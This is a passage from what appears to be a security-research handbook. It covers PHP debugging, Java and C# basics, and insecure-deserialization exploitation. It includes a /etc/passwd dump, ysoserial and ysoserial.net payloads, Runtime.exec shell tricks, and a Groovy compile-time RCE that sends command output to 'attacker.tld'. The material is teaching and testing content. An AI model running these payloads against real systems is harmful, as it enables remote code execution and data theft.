</strong>[*] Dumping 1008 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=705031).
</code></pre>

This file gets big quickly as you increase the prefix/suffix length, as well as the number of bytes. GET parameters are often limited by a maximum URI length, but POST parameters often lack this maximum and thus allow for giant filter chains like the one above.

{% hint style="info" %}
**Tip**: Using this same technique, you can also simply use it to generate an arbitrary string like in [#rce-using-php-filters](#rce-using-php-filters "mention") without noise like non-ASCII characters. This allows you to exploit even more formats even when they are sanity-checked or parsed!
{% endhint %}

## Debugging

The most well-known debugging protocol for PHP is [Xdebug](https://xdebug.org/). For the cleanest and most realistic experience, use a **VSCode Dev Container** for your workspace as explained in [Python](/languages/python#debugging) for Python.

You will need to add xdebug to the PHP configuration so that any server that runs PHP code on the system will use it. For any setup, paste the output of `php -i` into [xdebug.org/wizard](https://xdebug.org/wizard). *Below* is a common configuration that *works in most cases*.\
If `pelc` is installed inside the container, setting up `xdebug` is simple:

```docker
RUN yes | pecl install xdebug && \
    echo "zend_extension=xdebug.so" > /usr/local/etc/php/conf.d/xdebug.ini && \
    echo "xdebug.mode=debug" >> /usr/local/etc/php/conf.d/xdebug.ini && \
    echo "xdebug.start_with_request=yes" >> /usr/local/etc/php/conf.d/xdebug.ini
```

In more generic containers, you can build it from scratch:

```docker
RUN apt-get update && \
    apt-get install -y wget
RUN cd $(mktemp -d) && \
    wget https://xdebug.org/files/xdebug-3.4.4.tgz && \
    tar -xzf xdebug-3.4.4.tgz && \
    cd xdebug-3.4.4 && \
    phpize && \
    ./configure && \
    make && \
    cp modules/xdebug.so /usr/local/lib/php/extensions/no-debug-non-zts-20220829/ && \
    echo "zend_extension=xdebug.so" > /usr/local/etc/php/conf.d/xdebug.ini && \
    echo "xdebug.mode=debug" >> /usr/local/etc/php/conf.d/xdebug.ini && \
    echo "xdebug.start_with_request=yes" >> /usr/local/etc/php/conf.d/xdebug.ini
```

Then inside VSCode, install the [**PHP Debug**](https://marketplace.visualstudio.com/items?itemName=xdebug.php-debug) extension and in the ![](/files/0H1aNv3nFBm2aH6v6xov) panel click *create a launch.json file* followed by *PHP*. Save this and press the ![](/files/1z6Z0qJ7tbPssMe8BvUW) button to start the locally-listening server. You can now set any breakpoints in the `.php` files, and when they are executed/requested, the breakpoint will trigger.

To start the server now, run the `CMD` that the `Dockerfile` normally would. It may be inherited from the `FROM` image, in that case, look it up on [Docker Hub](https://hub.docker.com/_/php/tags). In case of Apache2, for example, the command to run will be `apache2-foreground`. Sending an HTTP request to the configured port should now trigger the breakpoints you set in the code.


# Java

An Object-Oriented programming language often used in enterprise environments

## Description

Java is an Object-Oriented programming language that compiles into Java bytecode. The Java Virtual Machine (JVM) understands this bytecode and can run it. You code it in `.java` files and then there are a few more file types that the compiler goes through:

* `.java` files are Java Source Code
* `.class` files are the compiled bytecode
* `.jar` files are a package of `.class` files (like a ZIP)
* JVM unpacks `.jar` and runs `.class` bytecode

### Hello World

Create a file that has the **same name as the class**:

{% code title="HelloWorld.java" %}

```java
public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello, World!");
    }
}
```

{% endcode %}

Then you can either compile and run it directly using `java`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ java HelloWorld.java
</strong>Hello, World!
</code></pre>

Or compile it to bytecode, and run it later:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ javac HelloWorld.java
</strong><strong>$ file HelloWorld.class 
</strong>HelloWorld.class: compiled Java class data, version 55.0
<strong>$ java HelloWorld
</strong>Hello, World!
</code></pre>

Lastly, you can bundle the `.class` files into a JAR with some information like the **entry point**. This requires a `Manifest.txt` file with a `Main-Class` key set to the main class. This class needs to have the `main()` function we defined with its exact function signature.

{% code title="Manifest.txt" %}

```yaml
Main-Class: HelloWorld
```

{% endcode %}

In the above file, the extra *newline at the end* is important for some reason, don't forget it!\
Afterward, you can bundle the files into a `.jar` ([source](https://docs.oracle.com/javase/tutorial/deployment/jar/appman.html)):

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ jar cfm HelloWorld.jar Manifest.txt HelloWorld.class 
</strong><strong>$ java -jar HelloWorld.jar 
</strong>Hello, World!
</code></pre>

### Libraries

Any programming language is made powerful by libraries. For Java, there are multiple build tools you can choose from for large projects, like Maven or Gradle. For a simple case, however, we can do this manually just using `java` commands.

We'll start by finding a library JAR we want to use. We'll take [jackson-databind](https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind) as an example that we can find on the [mvnrepository](https://mvnrepository.com/) site. After choosing a specific version, we find a button to download the `.jar` file\`: ![](/files/LlvbJe5usfKllZL8UhV1). This file will need to be included along with your source code. We'll put it in a `lib/` folder next to the source code:

{% code title="Tree" %}

```
HelloWorld.java
lib
└── jackson-databind-2.17.0.jar
```

{% endcode %}

Inside our source code, we can import the classes from this JAR now with the path from mvnrepository:

```java
import com.fasterxml.jackson.databind.*;
```

After writing the code with this library that you want, use the classpath (`-cp`) option while compiling to add the libraries to the compiled version:

```bash
java -cp '.:./lib/*' HelloWorld.java
```

## Integer overflow & builtins

Integers (`int`) in Java are by default also vulnerable to [Business Logic Errors](/other/business-logic-errors#integer-overflow). When it reaches the signed 32-bit limit of 2147483647, after that, it wraps around back to -2147483648. This can cause problems in large calculations with addition (`+`) or multiplication (`*`) and even where bounds are not checked to end up at seemly low numbers.

The `long` in Java can be up to 9223372036854775807, which is harder to reach but may still overflow to -9223372036854775808.

Floats and doubles cannot overflow, only lose precision, but when converted to integers using [`Math.round()`](https://docs.oracle.com/javase/8/docs/api/java/lang/Math.html#round-double-), they will be clamped to the max `int` or `long` value:

```java
Math.pow(10, 100)  // 1.0E100 (double)
Math.round(Math.pow(10, 100))  // 9223372036854775807 (long)
```

One strange edge case is [`Math.abs()`](https://docs.oracle.com/javase/8/docs/api/java/lang/Math.html#abs-int-) returning a negative value for -2147483648 while it otherwise always returns positive results:

```java
Math.abs(Integer.MIN_VALUE)  // -2147483648
```

## Insecure Deserialization

{% embed url="<https://learn.snyk.io/lesson/insecure-deserialization/>" %}
Great simple introduction to the idea of Insecure Deserialization in Java
{% endembed %}

The `ObjectOutputStream.writeObject()` method can serialize an instance of an Object (that implements `Serializable`) into binary data (`ByteArrayOutputStream`). This can then be sent to any other system, which can reconstruct the Object by calling the `ObjectInputStream.readObject()` method on the binary data (`ByteArrayInputStream`).

Here is an example:

```java
class Data implements Serializable {
    public String name;

    public Data(String name) {
        this.name = name;
    }
}
```

<pre class="language-java"><code class="lang-java">public class Example {
    public static void main(String[] args) throws Exception {
        // Create instance
        Data instance = new Data("Jorian");
<strong>        byte[] serialized = serialize(instance);
</strong>        System.out.println(Arrays.toString(serialized));  // [-84, -19, ..., 97, 110]
        // [...send over the network...]

        // Deserialize from byte array
<strong>        Data deserialized = (Data) deserialize(serialized);
</strong>        System.out.println(deserialized.name);  // "Jorian"
    }

    private static byte[] serialize(Object instance) throws Exception {
<strong>        ByteArrayOutputStream baos = new ByteArrayOutputStream();
</strong><strong>        ObjectOutputStream oos = new ObjectOutputStream(baos);
</strong><strong>        oos.writeObject(instance);  // Create "explanation" of instance as bytes
</strong>        oos.close();

        return baos.toByteArray();
    }

    private static Object deserialize(byte[] serialized) throws Exception {
<strong>        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serialized));
</strong><strong>        return ois.readObject();  // Set attributes on Data instance to recreate
</strong>    }
}
</code></pre>

While this is useful and easy to implement, its flexibility has some security risks. The risk is an attacker passing serialized data to a deserializer with **different types** than the original type, or altering the data to make it malicious. In the above example, it expects to deserialize a `Data` Object, but the byte array can hold any type to deserialize into.

After being deserialized, it would obviously not pass as a valid `Data` Object, and not have a `.name` attribute for example. But some code that still executes is the *custom* code that parses the byte array into an instance, which might still contain sensitive actions that you can perform at will:

<pre class="language-java"><code class="lang-java">public class EvilGadget implements Serializable {
    private String command;
    
    public EvilGadget(String command) {
        this.command = command;
    }
    
<strong>    private void readObject(ObjectInputStream in) throws Exception {
</strong><strong>        in.defaultReadObject();  // Set attributes (command) as default would
</strong><strong>        Runtime.getRuntime().exec(command);  // Custom code
</strong><strong>    }
</strong>}
</code></pre>

The above could be some library function that the developer of this `Example` doesn't know about. The default `readObject` can be **overridden** in this way, with a `.defaultReadObject()` still being available to run the default method still. Before or after though, a developer can choose to write any extra code that needs to be executed to correctly deserialize the data. In the above gadget, a dangerous `exec(command)` call is included which can now be executed at will by the attacker by creating a malicious serialized object!

To exploit it, the attack must create and serialize a malicious object themselves, and then make the target deserialize it in some way:

```java
class Generate {
    public static void main(String[] args) throws IOException {
        // Create malicious instance
        EvilGadget instance = new EvilGadget("calc.exe");
        // Serialize to byte array
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(instance);
        oos.close();
        // Print as Base64
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
}
```

When the target deserializes the payload, the `command` attribute will be set and the `exec()` command in `readObject()` will be executed, launching a calculator on Windows.

While this example was very clear, most real-world exploits use multiple **chained** gadgets to eventually reach a sensitive function with user input. This is possible because attributes can be Objects as well, and their attributes can be more Objects, etc. Creating such a payload is very similar to the example above but just requires more `new` objects in arguments like this:

```java
EvilUncle instance = new EvilUncle(new EvilParent(new EvilChild("calc.exe")));
```

### ysoserial

Instead of searching and creating new gadget chains for every deserialization issue you find, often well-known chains in libraries used in many projects can be enough.

{% embed url="<https://github.com/frohoff/ysoserial/tree/master>" %}
Tool for generating Java Insecure Deserialization payload using well-known chains
{% endembed %}

The `ysoserial` tool contains a [collection of payloads](https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads) that work on different versions and libraries. Depending on which your target uses, any of these can be a quick win.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ java -jar ysoserial.jar
</strong>
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
     Payload             Authors                                Dependencies                                                                                                                                                                                        
     -------             -------                                ------------                                                                                                                                                                                        
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                                                      
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5                                                                                                                                                                                           
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                                           
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0                                                                                                                                                         
     Clojure             @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                                       
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                                               
     CommonsCollections1 @frohoff                               commons-collections:3.1                                                                                                                                                                             
     CommonsCollections2 @frohoff                               commons-collections4:4.0                                                                                                                                                                            
     CommonsCollections3 @frohoff                               commons-collections:3.1                                                                                                                                                                             
     CommonsCollections4 @frohoff                               commons-collections4:4.0                                                                                                                                                                            
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                                             
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1                                                                                                                                                                             
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                                             
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4                                                                                                                                                            
     Groovy1             @frohoff                               groovy:2.3.9                                                                                                                                                                                        
     Hibernate1          @mbechler                                                                                                                                                                                                                                  
     Hibernate2          @mbechler                                                                                                                                                                                                                                  
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                            
     JRMPClient          @mbechler                                                                                                                                                                                                                                  
     JRMPListener        @mbechler                                                                                                                                                                                                                                  
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                                        
     Jdk7u21             @frohoff                                                                                                                                                                                                                                   
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                                             
     MozillaRhino1       @matthias_kaiser                       js:1.7R2                                                                                                                                                                                            
     MozillaRhino2       @_tint0                                js:1.7R2                                                                                                                                                                                            
     Myfaces1            @mbechler                                                                                                                                                                                                                                  
     Myfaces2            @mbechler                                                                                                                                                                                                                                  
     ROME                @mbechler                              rome:1.0                                                                                                                                                                                            
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                               
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                                           
     URLDNS              @gebl                                                                                                                                                                                                                                      
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                                          
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                                 
</code></pre>

Use a payload by choosing the name as the first argument, and a fitting command as the second. A payload like [`CommonsCollections6`](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java) requires a command, so the following will generate it:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ java -jar ysoserial.jar CommonsCollections6 'calc.exe' | base64 -w 0
</strong>rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAe...
</code></pre>

{% hint style="warning" %}
If you are receiving `InaccessibleObjectException` or `IllegalAccessError`, this is because *Java >12* does not allow the way ysoserial accesses classes.\
The `--illegal-access=permit` argument can be added to fix it, but after *Java 17* even this is not allowed. From there, explicit `--add-opens` arguments need to be added which [this gist](https://gist.github.com/JorianWoltjer/5210e99c13189446ece5ffe3e9fe3d90) can do for you.

Often the **easiest** **fix** however is to simply generate payloads with an **older Java version**.
{% endhint %}

{% hint style="success" %}
**Tip**: To avoid installing yet another tool and running into more problems, there is a working Docker container that can be used in place of it:

```sh
docker run --rm frohoff/ysoserial URLDNS "https://example.com"
```

{% endhint %}

### DNS Probe using `java.net`

A useful payload for **confirming** an insecure deserialization vulnerability is [`URLDNS`](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java) in ysoserial. This has **no dependencies** and performs a DNS lookup of a URL you provide.

For a full explanation, see [this page](https://book.hacktricks.xyz/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe). The summary is that the `java.net.URL` class has a `.hashCode()` method that resolves the given URL and this method is automatically called when it is put into a `java.util.HashMap`.

Start a DNS listener using Burp Suite Professional, or using [`interactsh`](https://github.com/projectdiscovery/interactsh). Then generate the payload to execute on your target:

<pre class="language-shellscript" data-title="Start listener"><code class="lang-shellscript"><strong>$ interactsh-client
</strong>[INF] Listing 1 payload for OOB Testing
[INF] c23b2la0kl1krjcrdj10cndmnioyyyyyn.oast.pro
</code></pre>

<pre class="language-shellscript" data-title="Generate payload"><code class="lang-shellscript"><strong>$ java -jar ysoserial.jar URLDNS 'http://cj79geiq8gua4a3eseu0jheqyjanc9t8k.oast.pro' | base64 -w 0
</strong>rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgA...
</code></pre>

### `Runtime.exec()` to Shell

Almost all RCE payloads from ysoserial use `Runtime.exec()` in the end to execute shell commands.

For a proof-of-concept, executing a simple program like `calc.exe` on Windows may be enough. However, for Linux and more complicated payloads, you might require special `bash` syntax like `|` pipes or `>` redirects. Take the following example:

```java
Runtime.getRuntime().exec("id > /tmp/pwned")
```

It does not write to `/tmp/pwned`, but instead, runs `id` with the arguments `'>'` and `'/tmp/pwned'`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ id '>' '/tmp/pwned'
</strong>id: extra operand ‘/tmp/pwned’
Try 'id --help' for more information.
</code></pre>

For a reverse shell or more complicated proof-of-concept, you can circumvent this using a few different tricks.\
[The first](https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html) uses `$@` together with piping into `|sh` to re-enable the use of these symbols, as a string is directly put into the STDIN of `sh`. The following payload would work:

```java
Runtime.getRuntime().exec("sh -c $@|sh . echo id > /tmp/pwned")
```

Some more tricks include using `bash` with Base64 and the `{,}` syntax, or using Python or Perl to evaluate code in a single command. Use the generator below to create these payloads easily:

{% embed url="<https://ares-x.com/tools/runtime-exec/>" %}
Payload Generator for `sh`, `bash`, PowerShell, Python and Perl tricks for `Runtime.exec()`
{% endembed %}

## Groovy

Groovy is commonly embedded into Java applications as a scripting language to end users.

### Compile-Time RCE

Using Groovy annotations, it is possible to execute code at compile-time, just from running `groovyc` on it. This can be catastrophic if a low-privilege user can only check the syntax, for example, not intended to actually ever run. Or when one (privileged) container compiles the code and another (sandboxed) container runs it.

This writeup shows a real life example:

{% embed url="<https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/>" %}
Describing a compile-time RCE exploit
{% endembed %}

<pre class="language-groovy" data-overflow="wrap"><code class="lang-groovy">import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
<strong>            def user = "id".execute().text.trim()
</strong><strong>            def connection = new URL("https://attacker.tld").openConnection()
</strong>            connection.setRequestMethod("POST")
            connection.doOutput = true
            connection.setRequestProperty("Content-Type", "text/plain")
            connection.outputStream.withWriter { it &#x3C;&#x3C; user }
            connection.inputStream.text
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}
</code></pre>

## Debugging

For inspecting and debugging Java code, you'll get the best experience with [IntelliJ](https://www.jetbrains.com/idea/download/#community-edition) IDEA (Community Edition). Open the folder containing the project in it, and wait for it to *import* and *index* the project. This already allows you to `Ctrl+Click` into function calls and libraries which is great for static analysis.

To debug a Java application running in a Docker container, the [Docker Plugin](https://plugins.jetbrains.com/plugin/7724-docker) is required. Inside IntelliJ, edit the configurations on the top-right or use `Ctrl+Shift+A` and choose *Edit Configuration...*. Click the `+` and select *Docker Compose*.\
This will create a **new configuration** where you can first select a *Compose file* where you should browse to find the `docker-compose.yml` file. Then choose the service, such as `web`, and modify the options to include *Build* -> *Always (`--build`)*, which causes the container to be rebuilt with new changes every time you run it.\
At this point you can test if it works by pressing the *Run* button, the configuration should look something like this:

<figure><img src="/files/KaAPQQoXtQMTXZlX6EYu" alt="" width="563"><figcaption><p>Example of correct configuration for <code>web</code> service</p></figcaption></figure>

To enable remote debugging capabilities, add **another run configuration** using the `+` named *Remote JVM Debug*. Most options will be correct by default, but we'll add our Docker configuration to the *Before launch* table at the bottom by pressing `+` and under ![](/files/ROVnDY9ze8TiKGAQVfy1) choosing the previously created configuration. Press OK to save everything.\
Running this with the ![](/files/tPdHEv9kWq0AA0d6n5FQ) Debug icon will try to connect to `localhost:5005`, a server which we will now set up.

**Edit** the `Dockerfile` to include the `-agentlib` option to the `java` command as follows:

{% code title="Dockerfile" %}

```docker
CMD java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 app-0.0.1-SNAPSHOT.jar
```

{% endcode %}

Finally, add the port mapping from `5005` inside the container to `5005` on your host:

{% code title="docker-compose.yml" %}

```yaml
    ports:
      - "127.0.0.1:5005:5005"
```

{% endcode %}

After all this you can press the Debug button on your created configuration and it should both start the Docker container and attack to the port it opened up. With the source code open, you can now create breakpoints, step through the code and read local variables while you request it from the outside.

<figure><img src="/files/9IqLGp0sdC5exvKx8vqv" alt=""><figcaption><p>Example result of debugging application inside IntelliJ (<a href="https://blog.jetbrains.com/idea/2019/04/debug-your-java-applications-in-docker-using-intellij-idea/">source</a>)</p></figcaption></figure>

{% hint style="info" %}
**Tip**: Building can take a while, if the `Dockerfile` uses `COPY .`, it might copy unnecessary files and cache them, requiring the whole application to be rebuilt if you only change some Markdown file in the same directory, for example. You can exclude/include certain files from this copy command using a `.dockerignore` file, like this:

{% code title=".dockerignore" %}

```gitignore
*
!src
!gradle*
!*.gradle.*
```

{% endcode %}
{% endhint %}


# C\#

C Sharp and the .NET Framework

## Hello World

The first step is creating a new project. With the `console` template for a simple CLI app, you can easily fill an empty directory with the necessary files:

{% code title="Create new project" %}

```bash
mkdir HelloWorld && cd HelloWorld
dotnet new console
```

{% endcode %}

You can find external packages in the [NuGet Gallery](https://www.nuget.org/), and then add them to your project:

```bash
dotnet add package Newtonsoft.Json
```

Finally, run the main `Program.cs` file:

```bash
dotnet run
```

## Deserialization

There are different ways to serialize objects in C#, which is the process of turning it into a string. Then, this string can be passed around through other channels and eventually be **deserialized** to receive an identical copy of the original object.

Creating arbitrary objects with fields is dangerous when this deserialized string is in the attacker's control. By abusing lax configuration, you can instantiate objects with special behavior to read/write files, or even achieve Remote Code Execution if the right gadgets are accessible.

### Newtonsoft Json.NET

The most common form on deserialization in the web is JSON. The [Json.NET](https://www.newtonsoft.com/json) library is the most widely-used for turning some string from the user into an instance of a class. The fields on this class define the structure of the JSON, for example ([source](https://www.newtonsoft.com/json/help/html/DeserializeObject.htm)):

<pre class="language-csharp"><code class="lang-csharp">public class Account {
<strong>    public string Email { get; set; }
</strong><strong>    public bool Active { get; set; }
</strong><strong>    public DateTime CreatedDate { get; set; }
</strong><strong>    public IList&#x3C;string> Roles { get; set; }
</strong>}

string json = @"{
  'Email': 'james@example.com',
  'Active': true,
  'CreatedDate': '2013-01-20T00:00:00Z',
  'Roles': [
    'User',
    'Admin'
  ]
}";

<strong>Account account = JsonConvert.DeserializeObject&#x3C;Account>(json);
</strong>Console.WriteLine(account.Email);  // "james@example.com"
</code></pre>

The above example is **secure**, because it only allows deserializing basic data types. It can be wrongly configured, however, to allow all classes instead, which may include dangerous ones we call "gadgets". This is possible if a `JsonSerializerSettings` is given as the 2nd argument with a `.TypeNameHandling` value other than `None`.

<pre class="language-csharp" data-title="Vulnerable Example"><code class="lang-csharp">JsonConvert.DeserializeObject&#x3C;Account>(json, new JsonSerializerSettings {
<strong>    TypeNameHandling = TypeNameHandling.All
</strong><strong>    // Also `.Arrays`, `.Objects` and `.Auto` are vulnerable
</strong>});
</code></pre>

This enables a special `$type` key for each JSON object (also in nested properties) that can reference any loaded class, and set its fields. This is only possible for properties with the `Object` type because all gadgets will inherit from it:

<pre class="language-csharp"><code class="lang-csharp">public class Vulnerable {
    public string Str { get; set; }
<strong>    public Object Obj { get; set; }
</strong>}
</code></pre>

You can easily generate a payload by *serializing* it first with the same library and classes, then send it to the target. Make sure to include `TypeNameHandling.All` to ensure any types are included and the target can resolve them. You should **structure your classes exactly the same** as the target because the `$type` key includes this information:

<pre class="language-csharp" data-title="Generate Exploit"><code class="lang-csharp">using Newtonsoft.Json;

public class Gadget {
    private string _input;
    public string Input {
        get { return _input; }

<strong>        set {
</strong><strong>            _input = value;
</strong><strong>            // Imagine some dangerous logic here...
</strong><strong>            Console.WriteLine("Command executed: " + value);
</strong><strong>        }
</strong>    }
}

public class Vulnerable {
    public required string Str { get; set; }
    // Dangerous: this allows the `object` type
<strong>    public required object Obj { get; set; }
</strong>}

class Program {
    static void Main() {
        // Serialization
<strong>        Gadget gadget = new Gadget { Input = "calc.exe" };
</strong>        Vulnerable vuln = new Vulnerable {
            Str = "Hello, world!",
            Obj = gadget
        };
<strong>        string json = JsonConvert.SerializeObject(vuln, new JsonSerializerSettings         {
</strong>            TypeNameHandling = TypeNameHandling.All
        });
        Console.WriteLine(json);  // {"$type":"Vulnerable, JsonTest","Str":"test@example.com","Obj":{"$type":"Gadget, JsonTest","Input":"calc.exe"}}

        Console.WriteLine("-> Press enter to continue..."); Console.ReadLine();

        // Deserialization
<strong>        Vulnerable? account = JsonConvert.DeserializeObject&#x3C;Vulnerable>(json, new JsonSerializerSettings {
</strong>            TypeNameHandling = TypeNameHandling.All
        });
        if (account is not null) Console.WriteLine("Result: " + account.Obj);
        else Console.WriteLine("Failed to deserialize");
    }
}
</code></pre>

When ran with `dotnet run`, this will generate the object with payload first, and then serialize it into JSON ready to send to the target. The 2nd part will similar the target receiving the string, and deserializing it into a vulnerable type. You will see that the `set {}` method is called twice:

<pre class="language-json" data-title="Output" data-overflow="wrap"><code class="lang-json">Command executed: calc.exe
<strong>{"$type":"Vulnerable, JsonTest","Str":"test@example.com","Obj":{"$type":"Gadget, JsonTest","Input":"calc.exe"}}
</strong>-> Press enter to continue...

<strong>Command executed: calc.exe
</strong>Result: Gadget
</code></pre>

The syntax is pretty simple, so if you want to, you can even handcraft these payloads. The syntax for the `$type` key is `Path.To.Class, AssemblyName`, where the path to the class is follows the nested structure of namespaces and classes to your gadget.

For another example, see the writeup below:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/htb-university-ctf-2023/nexus-void#json-deserialization>" %}
Writeup including a custom Json.NET deserialization chain to execute commands
{% endembed %}

Json.NET is far from the only library allowing arbitrary objects to be deserialized. To get an overflow, see the table below to understand which library supports what features:

<figure><img src="/files/Twgv8A9JrwsJdXa6R1fF" alt=""><figcaption><p>Table of serializers and what gadgets you can execute with them (<a href="https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15">source</a>)</p></figcaption></figure>

### Gadget Chains

You'll be very lucky if you have the source code of your target application, and find a single setter in there that allows RCE. Instead, you should rely on chains of gadgets, often in widely-used libraries.

One small gadget can maybe call a function on another gadget, which grabs a property from a third gadget to ultimately use it in an unsafe way. It's an art to combine these in creative ways, and requires a good understanding of what's available and possible in the codebase. The `ysoserial.net` tool collects such gadgets and can generate them with payloads at will:

{% embed url="<https://github.com/pwntester/ysoserial.net>" %}
Collection of gadget chains and generator for serialized input
{% endembed %}

To use it, select a gadget chain with `-g`, select the Formatter with `-f` (eg. `Json.Net`). Most gadgets will achieve RCE, and with the `-c` argument you can customize the final shell command it executes.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ysoserial.net -g ObjectDataProvider -f Json.Net -c 'calc.exe' | tr "'" '"'
</strong>{
    "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "MethodParameters":{
        "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values":["cmd", "/c calc.exe"]
    },
    "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}
</code></pre>

If the target loads the `PresentationFramework` assembly and you cause it to insecurely deserialize the above payload, the `calc.exe` command will be executed. If the conditions on the target are unknown, you should try many different known chains until one works.

### Finding Gadgets

To find your own gadgets, you should look for code that you are able to trigger during deserialization. These are `get {}` and `set {}` methods as mentioned above, but the **constructor will also be called**. You can pass named arguments to the constructor by your key names, for example:

<pre class="language-csharp"><code class="lang-csharp">public class Gadget {
<strong>    public Gadget(string input, int input2) {
</strong><strong>        Console.WriteLine("Gadget(" + input + ", " + input2 + ")");
</strong><strong>    }
</strong>}
</code></pre>

{% code title="Payload" %}

```json
{"$type":"Gadget, JsonTest","input":"calc.exe", "input2": 1337}
```

{% endcode %}

{% code title="Output" %}

```csharp
Gadget(calc.exe, 1337)
```

{% endcode %}

Some gadgets will call methods on your arguments, such as the `HashMap` calling `.hashCode()` to turn it into a unique integer. This means any vulnerable logic inside an object's `hashCode` implementation will also be callable if we just wrap it in a hashmap! Combining gadgets in chains like this is the standard way to find exploits.

## Reflection

Like many languages, C# has ways to interact with the type system at runtime through Reflection. This is useful in exploits when you can execute some limited C# code, or an interpreter of another language while having some interoperability. In such cases, you can often access properties and call methods on objects, and using Reflection, that can lead to RCE.

This is mainly done with chaining built-in methods on various types. All methods and attributes are well-documented on the Microsoft site, for example, the [`Assembly` class](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=net-9.0).

[Visual Studio](https://visualstudio.microsoft.com/) is the most featureful editor for C#. Something useful to us is when debugging any application, you can use the *Immediate Window* to quickly evaluate some small bits of code and get correct auto-completion. This makes it easier to explore your options.

<figure><img src="/files/ub6xOGQJu1PW2CfvVp6f" alt="" width="547"><figcaption><p>Auto-complete feature and getting immediate results in Visual Studio</p></figcaption></figure>

We'll go through an example of **ClearScript**, a JavaScript interpreter that [used to have an issue](https://github.com/microsoft/ClearScript/issues/382) allowing access to Reflection (and can still be configured to do so via `AllowReflection=true`).

Your first goal should be accessing the main `Assembly`, which you can get from a [`Type`](https://learn.microsoft.com/en-us/dotnet/api/system.type?view=net-9.0#properties) as `.Assembly`. To always get the main assembly, you can get the type of a type, which will always be the built-in type. In the example below, `Helper` was a C# object passed into the sandboxed context. We can use it to get a reference to the assembly:

```javascript
const assembly = Helper.GetType().GetType().Assembly;
```

We will now use its [`Load(String)`](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=net-9.0#system-reflection-assembly-load\(system-string\)) method to import a built-in assembly that allows executing shell commands: [`System.Diagnostics.Process`](https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process?view=net-9.0). We can get access to [`MethodInfo`](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-9.0) as a variable, and to call it, we'll use [`Invoke(Object, Object[])`](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-9.0#system-reflection-methodbase-invoke\(system-object-system-object\(\)\)) where the 2nd argument is an array representing the arguments passed to the method.

